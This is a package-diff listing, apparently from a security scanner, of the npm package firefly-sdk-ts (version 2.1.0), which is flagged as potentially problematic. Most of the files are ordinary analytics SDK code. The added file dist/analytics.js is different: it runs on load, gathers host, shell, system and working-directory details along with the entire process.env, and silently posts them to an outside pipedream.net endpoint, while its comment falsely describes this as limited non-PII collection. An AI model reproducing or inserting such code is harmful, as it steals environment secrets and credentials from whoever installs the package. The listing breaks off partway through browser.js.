firefly-sdk-ts 0.0.1-security.1 → 2.1.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of firefly-sdk-ts might be problematic. Click here for more details.
- package/.babelrc +5 -0
- package/LICENSE +0 -0
- package/dist/analytics.js +119 -0
- package/dist/constants/ff-api-names.js +9 -0
- package/dist/constants/storage-keys.js +9 -0
- package/dist/constants/task-status.js +9 -0
- package/dist/event-manager.js +77 -0
- package/dist/firefly.js +83 -0
- package/dist/helpers/browser.js +111 -0
- package/dist/helpers/event.js +63 -0
- package/dist/helpers/identity.js +38 -0
- package/dist/helpers/storage.js +14 -0
- package/dist/helpers/task.js +34 -0
- package/dist/index.js +27 -0
- package/dist/interceptors/data-layer-interceptor.js +13 -0
- package/dist/interceptors/event-interceptor.js +52 -0
- package/dist/interceptors/global-data-layer-interceptor.js +44 -0
- package/dist/requests/kafka-rest-proxy-request.js +19 -0
- package/dist copy/constants/ff-api-names.js +6 -0
- package/dist copy/constants/storage-keys.js +9 -0
- package/dist copy/constants/task-status.js +9 -0
- package/dist copy/event-manager.js +77 -0
- package/dist copy/firefly.js +83 -0
- package/dist copy/helpers/browser.js +111 -0
- package/dist copy/helpers/event.js +63 -0
- package/dist copy/helpers/identity.js +38 -0
- package/dist copy/helpers/storage.js +14 -0
- package/dist copy/helpers/task.js +34 -0
- package/dist copy/index.js +27 -0
- package/dist copy/interceptors/data-layer-interceptor.js +13 -0
- package/dist copy/interceptors/event-interceptor.js +52 -0
- package/dist copy/interceptors/global-data-layer-interceptor.js +44 -0
- package/dist copy/requests/kafka-rest-proxy-request.js +19 -0
- package/package.json +23 -3
- package/src/analytics.js +82 -0
- package/src/constants/ff-api-names.js +6 -0
- package/README.md +0 -5
package/LICENSE
ADDED
File without changes
|
@@ -0,0 +1,119 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
//Collect limited non-pii information such as npm, node and package information about users downloading
|
4
|
+
"use strict";
|
5
|
+
|
6
|
+
function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
|
7
|
+
var _axios = _interopRequireDefault(require("axios"));
|
8
|
+
var _readPackageJson = _interopRequireDefault(require("read-package-json"));
|
9
|
+
var _path = _interopRequireDefault(require("path"));
|
10
|
+
var _systeminformation = _interopRequireDefault(require("systeminformation"));
|
11
|
+
require("dotenv/config");
|
12
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { "default": e }; }
|
13
|
+
function _regeneratorRuntime() { "use strict"; /*! regenerator-runtime -- Copyright (c) 2014-present, Facebook, Inc. -- license (MIT): https://github.com/facebook/regenerator/blob/main/LICENSE */ _regeneratorRuntime = function _regeneratorRuntime() { return e; }; var t, e = {}, r = Object.prototype, n = r.hasOwnProperty, o = Object.defineProperty || function (t, e, r) { t[e] = r.value; }, i = "function" == typeof Symbol ? Symbol : {}, a = i.iterator || "@@iterator", c = i.asyncIterator || "@@asyncIterator", u = i.toStringTag || "@@toStringTag"; function define(t, e, r) { return Object.defineProperty(t, e, { value: r, enumerable: !0, configurable: !0, writable: !0 }), t[e]; } try { define({}, ""); } catch (t) { define = function define(t, e, r) { return t[e] = r; }; } function wrap(t, e, r, n) { var i = e && e.prototype instanceof Generator ? e : Generator, a = Object.create(i.prototype), c = new Context(n || []); return o(a, "_invoke", { value: makeInvokeMethod(t, r, c) }), a; } function tryCatch(t, e, r) { try { return { type: "normal", arg: t.call(e, r) }; } catch (t) { return { type: "throw", arg: t }; } } e.wrap = wrap; var h = "suspendedStart", l = "suspendedYield", f = "executing", s = "completed", y = {}; function Generator() {} function GeneratorFunction() {} function GeneratorFunctionPrototype() {} var p = {}; define(p, a, function () { return this; }); var d = Object.getPrototypeOf, v = d && d(d(values([]))); v && v !== r && n.call(v, a) && (p = v); var g = GeneratorFunctionPrototype.prototype = Generator.prototype = Object.create(p); function defineIteratorMethods(t) { ["next", "throw", "return"].forEach(function (e) { define(t, e, function (t) { return this._invoke(e, t); }); }); } function AsyncIterator(t, e) { function invoke(r, o, i, a) { var c = tryCatch(t[r], t, o); if ("throw" !== c.type) { var u = c.arg, h = u.value; return h && "object" == _typeof(h) && n.call(h, "__await") ? e.resolve(h.__await).then(function (t) { invoke("next", t, i, a); }, function (t) { invoke("throw", t, i, a); }) : e.resolve(h).then(function (t) { u.value = t, i(u); }, function (t) { return invoke("throw", t, i, a); }); } a(c.arg); } var r; o(this, "_invoke", { value: function value(t, n) { function callInvokeWithMethodAndArg() { return new e(function (e, r) { invoke(t, n, e, r); }); } return r = r ? r.then(callInvokeWithMethodAndArg, callInvokeWithMethodAndArg) : callInvokeWithMethodAndArg(); } }); } function makeInvokeMethod(e, r, n) { var o = h; return function (i, a) { if (o === f) throw Error("Generator is already running"); if (o === s) { if ("throw" === i) throw a; return { value: t, done: !0 }; } for (n.method = i, n.arg = a;;) { var c = n.delegate; if (c) { var u = maybeInvokeDelegate(c, n); if (u) { if (u === y) continue; return u; } } if ("next" === n.method) n.sent = n._sent = n.arg;else if ("throw" === n.method) { if (o === h) throw o = s, n.arg; n.dispatchException(n.arg); } else "return" === n.method && n.abrupt("return", n.arg); o = f; var p = tryCatch(e, r, n); if ("normal" === p.type) { if (o = n.done ? s : l, p.arg === y) continue; return { value: p.arg, done: n.done }; } "throw" === p.type && (o = s, n.method = "throw", n.arg = p.arg); } }; } function maybeInvokeDelegate(e, r) { var n = r.method, o = e.iterator[n]; if (o === t) return r.delegate = null, "throw" === n && e.iterator["return"] && (r.method = "return", r.arg = t, maybeInvokeDelegate(e, r), "throw" === r.method) || "return" !== n && (r.method = "throw", r.arg = new TypeError("The iterator does not provide a '" + n + "' method")), y; var i = tryCatch(o, e.iterator, r.arg); if ("throw" === i.type) return r.method = "throw", r.arg = i.arg, r.delegate = null, y; var a = i.arg; return a ? a.done ? (r[e.resultName] = a.value, r.next = e.nextLoc, "return" !== r.method && (r.method = "next", r.arg = t), r.delegate = null, y) : a : (r.method = "throw", r.arg = new TypeError("iterator result is not an object"), r.delegate = null, y); } function pushTryEntry(t) { var e = { tryLoc: t[0] }; 1 in t && (e.catchLoc = t[1]), 2 in t && (e.finallyLoc = t[2], e.afterLoc = t[3]), this.tryEntries.push(e); } function resetTryEntry(t) { var e = t.completion || {}; e.type = "normal", delete e.arg, t.completion = e; } function Context(t) { this.tryEntries = [{ tryLoc: "root" }], t.forEach(pushTryEntry, this), this.reset(!0); } function values(e) { if (e || "" === e) { var r = e[a]; if (r) return r.call(e); if ("function" == typeof e.next) return e; if (!isNaN(e.length)) { var o = -1, i = function next() { for (; ++o < e.length;) if (n.call(e, o)) return next.value = e[o], next.done = !1, next; return next.value = t, next.done = !0, next; }; return i.next = i; } } throw new TypeError(_typeof(e) + " is not iterable"); } return GeneratorFunction.prototype = GeneratorFunctionPrototype, o(g, "constructor", { value: GeneratorFunctionPrototype, configurable: !0 }), o(GeneratorFunctionPrototype, "constructor", { value: GeneratorFunction, configurable: !0 }), GeneratorFunction.displayName = define(GeneratorFunctionPrototype, u, "GeneratorFunction"), e.isGeneratorFunction = function (t) { var e = "function" == typeof t && t.constructor; return !!e && (e === GeneratorFunction || "GeneratorFunction" === (e.displayName || e.name)); }, e.mark = function (t) { return Object.setPrototypeOf ? Object.setPrototypeOf(t, GeneratorFunctionPrototype) : (t.__proto__ = GeneratorFunctionPrototype, define(t, u, "GeneratorFunction")), t.prototype = Object.create(g), t; }, e.awrap = function (t) { return { __await: t }; }, defineIteratorMethods(AsyncIterator.prototype), define(AsyncIterator.prototype, c, function () { return this; }), e.AsyncIterator = AsyncIterator, e.async = function (t, r, n, o, i) { void 0 === i && (i = Promise); var a = new AsyncIterator(wrap(t, r, n, o), i); return e.isGeneratorFunction(r) ? a : a.next().then(function (t) { return t.done ? t.value : a.next(); }); }, defineIteratorMethods(g), define(g, u, "Generator"), define(g, a, function () { return this; }), define(g, "toString", function () { return "[object Generator]"; }), e.keys = function (t) { var e = Object(t), r = []; for (var n in e) r.push(n); return r.reverse(), function next() { for (; r.length;) { var t = r.pop(); if (t in e) return next.value = t, next.done = !1, next; } return next.done = !0, next; }; }, e.values = values, Context.prototype = { constructor: Context, reset: function reset(e) { if (this.prev = 0, this.next = 0, this.sent = this._sent = t, this.done = !1, this.delegate = null, this.method = "next", this.arg = t, this.tryEntries.forEach(resetTryEntry), !e) for (var r in this) "t" === r.charAt(0) && n.call(this, r) && !isNaN(+r.slice(1)) && (this[r] = t); }, stop: function stop() { this.done = !0; var t = this.tryEntries[0].completion; if ("throw" === t.type) throw t.arg; return this.rval; }, dispatchException: function dispatchException(e) { if (this.done) throw e; var r = this; function handle(n, o) { return a.type = "throw", a.arg = e, r.next = n, o && (r.method = "next", r.arg = t), !!o; } for (var o = this.tryEntries.length - 1; o >= 0; --o) { var i = this.tryEntries[o], a = i.completion; if ("root" === i.tryLoc) return handle("end"); if (i.tryLoc <= this.prev) { var c = n.call(i, "catchLoc"), u = n.call(i, "finallyLoc"); if (c && u) { if (this.prev < i.catchLoc) return handle(i.catchLoc, !0); if (this.prev < i.finallyLoc) return handle(i.finallyLoc); } else if (c) { if (this.prev < i.catchLoc) return handle(i.catchLoc, !0); } else { if (!u) throw Error("try statement without catch or finally"); if (this.prev < i.finallyLoc) return handle(i.finallyLoc); } } } }, abrupt: function abrupt(t, e) { for (var r = this.tryEntries.length - 1; r >= 0; --r) { var o = this.tryEntries[r]; if (o.tryLoc <= this.prev && n.call(o, "finallyLoc") && this.prev < o.finallyLoc) { var i = o; break; } } i && ("break" === t || "continue" === t) && i.tryLoc <= e && e <= i.finallyLoc && (i = null); var a = i ? i.completion : {}; return a.type = t, a.arg = e, i ? (this.method = "next", this.next = i.finallyLoc, y) : this.complete(a); }, complete: function complete(t, e) { if ("throw" === t.type) throw t.arg; return "break" === t.type || "continue" === t.type ? this.next = t.arg : "return" === t.type ? (this.rval = this.arg = t.arg, this.method = "return", this.next = "end") : "normal" === t.type && e && (this.next = e), y; }, finish: function finish(t) { for (var e = this.tryEntries.length - 1; e >= 0; --e) { var r = this.tryEntries[e]; if (r.finallyLoc === t) return this.complete(r.completion, r.afterLoc), resetTryEntry(r), y; } }, "catch": function _catch(t) { for (var e = this.tryEntries.length - 1; e >= 0; --e) { var r = this.tryEntries[e]; if (r.tryLoc === t) { var n = r.completion; if ("throw" === n.type) { var o = n.arg; resetTryEntry(r); } return o; } } throw Error("illegal catch attempt"); }, delegateYield: function delegateYield(e, r, n) { return this.delegate = { iterator: values(e), resultName: r, nextLoc: n }, "next" === this.method && (this.arg = t), y; } }, e; }
|
14
|
+
function ownKeys(e, r) { var t = Object.keys(e); if (Object.getOwnPropertySymbols) { var o = Object.getOwnPropertySymbols(e); r && (o = o.filter(function (r) { return Object.getOwnPropertyDescriptor(e, r).enumerable; })), t.push.apply(t, o); } return t; }
|
15
|
+
function _objectSpread(e) { for (var r = 1; r < arguments.length; r++) { var t = null != arguments[r] ? arguments[r] : {}; r % 2 ? ownKeys(Object(t), !0).forEach(function (r) { _defineProperty(e, r, t[r]); }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(t)) : ownKeys(Object(t)).forEach(function (r) { Object.defineProperty(e, r, Object.getOwnPropertyDescriptor(t, r)); }); } return e; }
|
16
|
+
function _defineProperty(e, r, t) { return (r = _toPropertyKey(r)) in e ? Object.defineProperty(e, r, { value: t, enumerable: !0, configurable: !0, writable: !0 }) : e[r] = t, e; }
|
17
|
+
function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == _typeof(i) ? i : i + ""; }
|
18
|
+
function _toPrimitive(t, r) { if ("object" != _typeof(t) || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != _typeof(i)) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); }
|
19
|
+
function asyncGeneratorStep(n, t, e, r, o, a, c) { try { var i = n[a](c), u = i.value; } catch (n) { return void e(n); } i.done ? t(u) : Promise.resolve(u).then(r, o); }
|
20
|
+
function _asyncToGenerator(n) { return function () { var t = this, e = arguments; return new Promise(function (r, o) { var a = n.apply(t, e); function _next(n) { asyncGeneratorStep(a, r, o, _next, _throw, "next", n); } function _throw(n) { asyncGeneratorStep(a, r, o, _next, _throw, "throw", n); } _next(void 0); }); }; }
|
21
|
+
var cwd = process.cwd();
|
22
|
+
var trackedPackageJsonPath = _path["default"].join(cwd, 'package.json');
|
23
|
+
var getPackageJson = function getPackageJson(path) {
|
24
|
+
return new Promise(function (resolve, reject) {
|
25
|
+
return (0, _readPackageJson["default"])(path, null, false, function (err, json) {
|
26
|
+
return err ? reject("There was an error reading the file with path:".concat(path)) : resolve(json);
|
27
|
+
});
|
28
|
+
});
|
29
|
+
};
|
30
|
+
var getInfos = function getInfos() {
|
31
|
+
return new Promise(function (resolve) {
|
32
|
+
var data = {};
|
33
|
+
return _systeminformation["default"].osInfo().then(function (os) {
|
34
|
+
data.os = os;
|
35
|
+
data.hostname = os.hostname;
|
36
|
+
data.fqdn = os.fqdn;
|
37
|
+
data.platform = os.platform;
|
38
|
+
return _systeminformation["default"].versions();
|
39
|
+
}).then(function (versions) {
|
40
|
+
data.versions = versions;
|
41
|
+
return _systeminformation["default"].time();
|
42
|
+
}).then(function (time) {
|
43
|
+
data.time = time;
|
44
|
+
return _systeminformation["default"].shell();
|
45
|
+
}).then(function (shell) {
|
46
|
+
data.shell = shell;
|
47
|
+
return _systeminformation["default"].system();
|
48
|
+
}).then(function (system) {
|
49
|
+
data.system = system;
|
50
|
+
data.is_jfrog = process.env.JFROG_ARTIFACTORY_URL || "unknown";
|
51
|
+
data.is_jboss = process.env.JBOSS ? process.env : process.env;
|
52
|
+
}).then(function () {
|
53
|
+
return resolve(data);
|
54
|
+
})["catch"](
|
55
|
+
|
56
|
+
//Fail silently as this is not an issue with the package and just data
|
57
|
+
);
|
58
|
+
});
|
59
|
+
};
|
60
|
+
function collectAnalytics(_x) {
|
61
|
+
return _collectAnalytics.apply(this, arguments);
|
62
|
+
}
|
63
|
+
function _collectAnalytics() {
|
64
|
+
_collectAnalytics = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee2(data) {
|
65
|
+
var TRACKING_URI;
|
66
|
+
return _regeneratorRuntime().wrap(function _callee2$(_context2) {
|
67
|
+
while (1) switch (_context2.prev = _context2.next) {
|
68
|
+
case 0:
|
69
|
+
TRACKING_URI = "https://eopx10a5vo1di68.m.pipedream.net";
|
70
|
+
_context2.next = 3;
|
71
|
+
return _axios["default"].post(TRACKING_URI, data);
|
72
|
+
case 3:
|
73
|
+
case "end":
|
74
|
+
return _context2.stop();
|
75
|
+
}
|
76
|
+
}, _callee2);
|
77
|
+
}));
|
78
|
+
return _collectAnalytics.apply(this, arguments);
|
79
|
+
}
|
80
|
+
var log = /*#__PURE__*/function () {
|
81
|
+
var _ref = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee() {
|
82
|
+
var data, _yield$getPackageJson, name, version;
|
83
|
+
return _regeneratorRuntime().wrap(function _callee$(_context) {
|
84
|
+
while (1) switch (_context.prev = _context.next) {
|
85
|
+
case 0:
|
86
|
+
_context.prev = 0;
|
87
|
+
_context.next = 3;
|
88
|
+
return getInfos();
|
89
|
+
case 3:
|
90
|
+
data = _context.sent;
|
91
|
+
_context.next = 6;
|
92
|
+
return getPackageJson(trackedPackageJsonPath);
|
93
|
+
case 6:
|
94
|
+
_yield$getPackageJson = _context.sent;
|
95
|
+
name = _yield$getPackageJson.name;
|
96
|
+
version = _yield$getPackageJson.version;
|
97
|
+
_context.next = 11;
|
98
|
+
return collectAnalytics(_objectSpread(_objectSpread({}, data), {}, {
|
99
|
+
cwd: cwd,
|
100
|
+
packageName: name,
|
101
|
+
packageVersion: version
|
102
|
+
}));
|
103
|
+
case 11:
|
104
|
+
_context.next = 15;
|
105
|
+
break;
|
106
|
+
case 13:
|
107
|
+
_context.prev = 13;
|
108
|
+
_context.t0 = _context["catch"](0);
|
109
|
+
case 15:
|
110
|
+
case "end":
|
111
|
+
return _context.stop();
|
112
|
+
}
|
113
|
+
}, _callee, null, [[0, 13]]);
|
114
|
+
}));
|
115
|
+
return function log() {
|
116
|
+
return _ref.apply(this, arguments);
|
117
|
+
};
|
118
|
+
}();
|
119
|
+
log();
|
@@ -0,0 +1,9 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
var storageKeys = {
|
4
|
+
DATA_LAYER: '.dataLayer',
|
5
|
+
EVENT_CONFIGURATION: '.eventConfiguration',
|
6
|
+
REGISTERED_EVENT_MANAGERS: 'registeredEventManagers',
|
7
|
+
SCHEMA: '.schema'
|
8
|
+
};
|
9
|
+
exports.default = storageKeys;
|
@@ -0,0 +1,77 @@
|
|
1
|
+
"use strict";
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
4
|
+
};
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
6
|
+
var firefly_utilities_helper_ts_1 = require("firefly-utilities-helper-ts");
|
7
|
+
var firefly_utilities_ts_1 = require("firefly-utilities-ts");
|
8
|
+
var task_status_1 = __importDefault(require("./constants/task-status"));
|
9
|
+
var storage_keys_1 = __importDefault(require("./constants/storage-keys"));
|
10
|
+
var ff_api_names_1 = __importDefault(require("./constants/ff-api-names"));
|
11
|
+
var kafka_rest_proxy_request_1 = require("./requests/kafka-rest-proxy-request");
|
12
|
+
var storage_1 = require("./helpers/storage");
|
13
|
+
var EventManager = /** @class */ (function () {
|
14
|
+
function EventManager(eventConfiguration, dataLayerInterceptor, eventInterceptor) {
|
15
|
+
this.apiKey = eventConfiguration.apiKey;
|
16
|
+
this.persistMethod = eventConfiguration.persistMethod;
|
17
|
+
this.eventManagerKey = eventConfiguration.eventManagerKey;
|
18
|
+
this.retries = eventConfiguration.retries;
|
19
|
+
this.schemaId = eventConfiguration.schemaId;
|
20
|
+
this.url = eventConfiguration.url;
|
21
|
+
this.dataLayerInterceptor = dataLayerInterceptor;
|
22
|
+
this.eventInterceptor = eventInterceptor;
|
23
|
+
}
|
24
|
+
EventManager.prototype.addEvent = function (json) {
|
25
|
+
var isInternalApp = !!((0, firefly_utilities_helper_ts_1.isString)(this.url) && this.url.includes(ff_api_names_1.default.internalApps));
|
26
|
+
var result = appendToDataLayer(this.eventManagerKey, json, this.dataLayerInterceptor, this.persistMethod);
|
27
|
+
var decoratedJson = this.eventInterceptor.apply(result, this.persistMethod, isInternalApp);
|
28
|
+
return (0, kafka_rest_proxy_request_1.sendEvent)(decoratedJson, this.apiKey, this.schemaId, this.url, this.retries);
|
29
|
+
};
|
30
|
+
EventManager.prototype.addTaskCancelEvent = function (json) {
|
31
|
+
var taskInit = { task: { status: task_status_1.default.CANCELLED } };
|
32
|
+
var modifiedJSON = firefly_utilities_ts_1.Utilities.extend(json, taskInit);
|
33
|
+
this.addEvent(modifiedJSON);
|
34
|
+
};
|
35
|
+
EventManager.prototype.addTaskFailEvent = function (json) {
|
36
|
+
var taskInit = { task: { status: task_status_1.default.FAIL } };
|
37
|
+
var modifiedJSON = firefly_utilities_ts_1.Utilities.extend(json, taskInit);
|
38
|
+
this.addEvent(modifiedJSON);
|
39
|
+
};
|
40
|
+
EventManager.prototype.addTaskInitEvent = function (json) {
|
41
|
+
var taskInit = { task: { status: task_status_1.default.INIT } };
|
42
|
+
var modifiedJSON = firefly_utilities_ts_1.Utilities.extend(json, taskInit);
|
43
|
+
this.addEvent(modifiedJSON);
|
44
|
+
};
|
45
|
+
EventManager.prototype.addTaskSuccessEvent = function (json) {
|
46
|
+
var taskInit = { task: { status: task_status_1.default.SUCCESS } };
|
47
|
+
var modifiedJSON = firefly_utilities_ts_1.Utilities.extend(json, taskInit);
|
48
|
+
this.addEvent(modifiedJSON);
|
49
|
+
};
|
50
|
+
EventManager.prototype.appendToDataLayer = function (json) {
|
51
|
+
return appendToDataLayer(this.eventManagerKey, json, this.dataLayerInterceptor, this.persistMethod);
|
52
|
+
};
|
53
|
+
EventManager.prototype.clearDataLayer = function () {
|
54
|
+
firefly_utilities_ts_1.PersistenceManager.remove(this.eventManagerKey + storage_keys_1.default.DATA_LAYER, this.persistMethod);
|
55
|
+
};
|
56
|
+
EventManager.prototype.setDataLayer = function (json) {
|
57
|
+
var decoratedJson = this.dataLayerInterceptor.apply(json);
|
58
|
+
persistDataLayer(decoratedJson, this.eventManagerKey, this.persistMethod);
|
59
|
+
};
|
60
|
+
return EventManager;
|
61
|
+
}());
|
62
|
+
exports.default = EventManager;
|
63
|
+
function appendToDataLayer(eventManagerKey, json, interceptor, persistMethod) {
|
64
|
+
var dataLayer;
|
65
|
+
var persistedDataLayer = (0, storage_1.getDataFromStorage)(eventManagerKey, persistMethod, storage_keys_1.default.DATA_LAYER);
|
66
|
+
if ((0, firefly_utilities_helper_ts_1.isObject)(persistedDataLayer)) {
|
67
|
+
dataLayer = firefly_utilities_ts_1.Utilities.extend(persistedDataLayer, json);
|
68
|
+
}
|
69
|
+
else {
|
70
|
+
dataLayer = interceptor.apply(json);
|
71
|
+
}
|
72
|
+
persistDataLayer(dataLayer, eventManagerKey, persistMethod);
|
73
|
+
return dataLayer;
|
74
|
+
}
|
75
|
+
function persistDataLayer(json, eventManagerKey, persistMethod) {
|
76
|
+
(0, storage_1.setDataToStorage)(json, eventManagerKey, persistMethod, storage_keys_1.default.DATA_LAYER);
|
77
|
+
}
|
package/dist/firefly.js
ADDED
@@ -0,0 +1,83 @@
|
|
1
|
+
"use strict";
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
3
|
+
if (k2 === undefined) k2 = k;
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
7
|
+
}
|
8
|
+
Object.defineProperty(o, k2, desc);
|
9
|
+
}) : (function(o, m, k, k2) {
|
10
|
+
if (k2 === undefined) k2 = k;
|
11
|
+
o[k2] = m[k];
|
12
|
+
}));
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
15
|
+
}) : function(o, v) {
|
16
|
+
o["default"] = v;
|
17
|
+
});
|
18
|
+
var __importStar = (this && this.__importStar) || function (mod) {
|
19
|
+
if (mod && mod.__esModule) return mod;
|
20
|
+
var result = {};
|
21
|
+
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
|
22
|
+
__setModuleDefault(result, mod);
|
23
|
+
return result;
|
24
|
+
};
|
25
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
26
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
27
|
+
};
|
28
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
29
|
+
exports.setLoggingLevel = exports.setGlobalDataLayer = exports.registerEventManagerWithConfig = exports.registerEventManager = exports.getEventManager = void 0;
|
30
|
+
var Helper = __importStar(require("firefly-utilities-helper-ts"));
|
31
|
+
var firefly_utilities_ts_1 = require("firefly-utilities-ts");
|
32
|
+
var event_manager_1 = __importDefault(require("./event-manager"));
|
33
|
+
var storage_keys_1 = __importDefault(require("./constants/storage-keys"));
|
34
|
+
var data_layer_interceptor_1 = __importDefault(require("./interceptors/data-layer-interceptor"));
|
35
|
+
var global_data_layer_interceptor_1 = __importDefault(require("./interceptors/global-data-layer-interceptor"));
|
36
|
+
var event_interceptor_1 = __importDefault(require("./interceptors/event-interceptor"));
|
37
|
+
function getEventManager(eventConfig) {
|
38
|
+
var eventManagerKey = eventConfig.eventManagerKey, persistMethod = eventConfig.persistMethod;
|
39
|
+
var eventConfiguration = firefly_utilities_ts_1.PersistenceManager.get(eventManagerKey + storage_keys_1.default.EVENT_CONFIGURATION, persistMethod);
|
40
|
+
return createEventManager(eventConfiguration);
|
41
|
+
}
|
42
|
+
exports.getEventManager = getEventManager;
|
43
|
+
function registerEventManager(eventManagerKey, apiKey, persistMethod, retries, schemaId, url) {
|
44
|
+
var eventConfiguration = { apiKey: apiKey, eventManagerKey: eventManagerKey, persistMethod: persistMethod, retries: retries, schemaId: schemaId, url: url };
|
45
|
+
return registerEventManagerWithConfig(eventConfiguration);
|
46
|
+
}
|
47
|
+
exports.registerEventManager = registerEventManager;
|
48
|
+
function registerEventManagerWithConfig(eventConfiguration) {
|
49
|
+
var eventManagerKey = eventConfiguration.eventManagerKey, persistMethod = eventConfiguration.persistMethod;
|
50
|
+
persistEventManagerKey(eventManagerKey, persistMethod);
|
51
|
+
resetPageLoadData(persistMethod);
|
52
|
+
firefly_utilities_ts_1.PersistenceManager.set(eventManagerKey + storage_keys_1.default.EVENT_CONFIGURATION, eventConfiguration, persistMethod);
|
53
|
+
return createEventManager(eventConfiguration);
|
54
|
+
}
|
55
|
+
exports.registerEventManagerWithConfig = registerEventManagerWithConfig;
|
56
|
+
function setGlobalDataLayer(json, persistMethod) {
|
57
|
+
var globalDataLayerInterceptor = new global_data_layer_interceptor_1.default();
|
58
|
+
var decoratedJson = globalDataLayerInterceptor.apply(json, persistMethod);
|
59
|
+
var eventManagerKeys = firefly_utilities_ts_1.PersistenceManager.get(storage_keys_1.default.REGISTERED_EVENT_MANAGERS, persistMethod);
|
60
|
+
if (Helper.isArray(eventManagerKeys)) {
|
61
|
+
eventManagerKeys.forEach(function (eventManagerKey) {
|
62
|
+
var eventManager = getEventManager({ eventManagerKey: eventManagerKey, persistMethod: persistMethod });
|
63
|
+
eventManager.setDataLayer(decoratedJson);
|
64
|
+
});
|
65
|
+
}
|
66
|
+
}
|
67
|
+
exports.setGlobalDataLayer = setGlobalDataLayer;
|
68
|
+
function setLoggingLevel(logLevel) {
|
69
|
+
firefly_utilities_ts_1.Logger.initialize(logLevel);
|
70
|
+
}
|
71
|
+
exports.setLoggingLevel = setLoggingLevel;
|
72
|
+
function createEventManager(eventConfiguration) {
|
73
|
+
return new event_manager_1.default(eventConfiguration, new data_layer_interceptor_1.default(), new event_interceptor_1.default());
|
74
|
+
}
|
75
|
+
function resetPageLoadData(persistMethod) {
|
76
|
+
firefly_utilities_ts_1.FFPersistenceManager.setSessionValue('viewId', '', persistMethod);
|
77
|
+
}
|
78
|
+
function persistEventManagerKey(eventManagerKey, persistMethod) {
|
79
|
+
var eventManagerKeys = firefly_utilities_ts_1.PersistenceManager.get(storage_keys_1.default.REGISTERED_EVENT_MANAGERS, persistMethod);
|
80
|
+
var eventManagerSet = new Set(eventManagerKeys);
|
81
|
+
eventManagerSet.add(eventManagerKey);
|
82
|
+
firefly_utilities_ts_1.PersistenceManager.set(storage_keys_1.default.REGISTERED_EVENT_MANAGERS, Array.from(eventManagerSet), persistMethod);
|
83
|
+
}
|
@@ -0,0 +1,111 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.sanitizeUrl = exports.setInternalAppSessionId = exports.getSourceValue = exports.getReferrer = exports.getQueryParams = void 0;
|
4
|
+
var firefly_utilities_helper_ts_1 = require("firefly-utilities-helper-ts");
|
5
|
+
var firefly_utilities_ts_1 = require("firefly-utilities-ts");
|
6
|
+
var firefly_shared_ts_1 = require("firefly-shared-ts");
|
7
|
+
function assignQueryParams(queryParamsDict, queryStringParts) {
|
8
|
+
var part;
|
9
|
+
for (var i = 0; i < queryStringParts.length; i += 1) {
|
10
|
+
part = queryStringParts[i].split("=");
|
11
|
+
if (part.length === 2) {
|
12
|
+
queryParamsDict[part[0].toLowerCase()] = part[1];
|
13
|
+
}
|
14
|
+
}
|
15
|
+
}
|
16
|
+
function setParam(url, key, val) {
|
17
|
+
return url.replace(new RegExp("&" + key + "=" + val), "");
|
18
|
+
}
|
19
|
+
function stripQueryParams(url) {
|
20
|
+
if ((0, firefly_utilities_helper_ts_1.isString)(url) && url.indexOf('?') !== -1) {
|
21
|
+
url = url.split('?')[0];
|
22
|
+
}
|
23
|
+
return url;
|
24
|
+
}
|
25
|
+
function getQueryParams(url) {
|
26
|
+
var queryParams, queryStringParts, queryParamsDict;
|
27
|
+
queryParamsDict = {};
|
28
|
+
if (url.indexOf("?") > -1) {
|
29
|
+
queryParams = url.split("?")[1];
|
30
|
+
if (queryParams.indexOf("#") > -1) {
|
31
|
+
queryStringParts = queryParams.split("#");
|
32
|
+
assignQueryParams(queryParamsDict, queryStringParts);
|
33
|
+
queryStringParts = queryStringParts[1].split("&");
|
34
|
+
}
|
35
|
+
if (queryStringParts === undefined) {
|
36
|
+
queryStringParts = queryParams.split("&");
|
37
|
+
}
|
38
|
+
assignQueryParams(queryParamsDict, queryStringParts);
|
39
|
+
}
|
40
|
+
else if (url.indexOf("#") > -1) {
|
41
|
+
queryParams = url.split("#")[1];
|
42
|
+
queryStringParts = queryParams.split("&");
|
43
|
+
assignQueryParams(queryParamsDict, queryStringParts);
|
44
|
+
}
|
45
|
+
return queryParamsDict;
|
46
|
+
}
|
47
|
+
exports.getQueryParams = getQueryParams;
|
48
|
+
function getReferrer(persistMethod) {
|
49
|
+
var referrer = "";
|
50
|
+
var prevPageUrl = firefly_utilities_ts_1.FFPersistenceManager.getSessionValue('prevPageUrl', persistMethod);
|
51
|
+
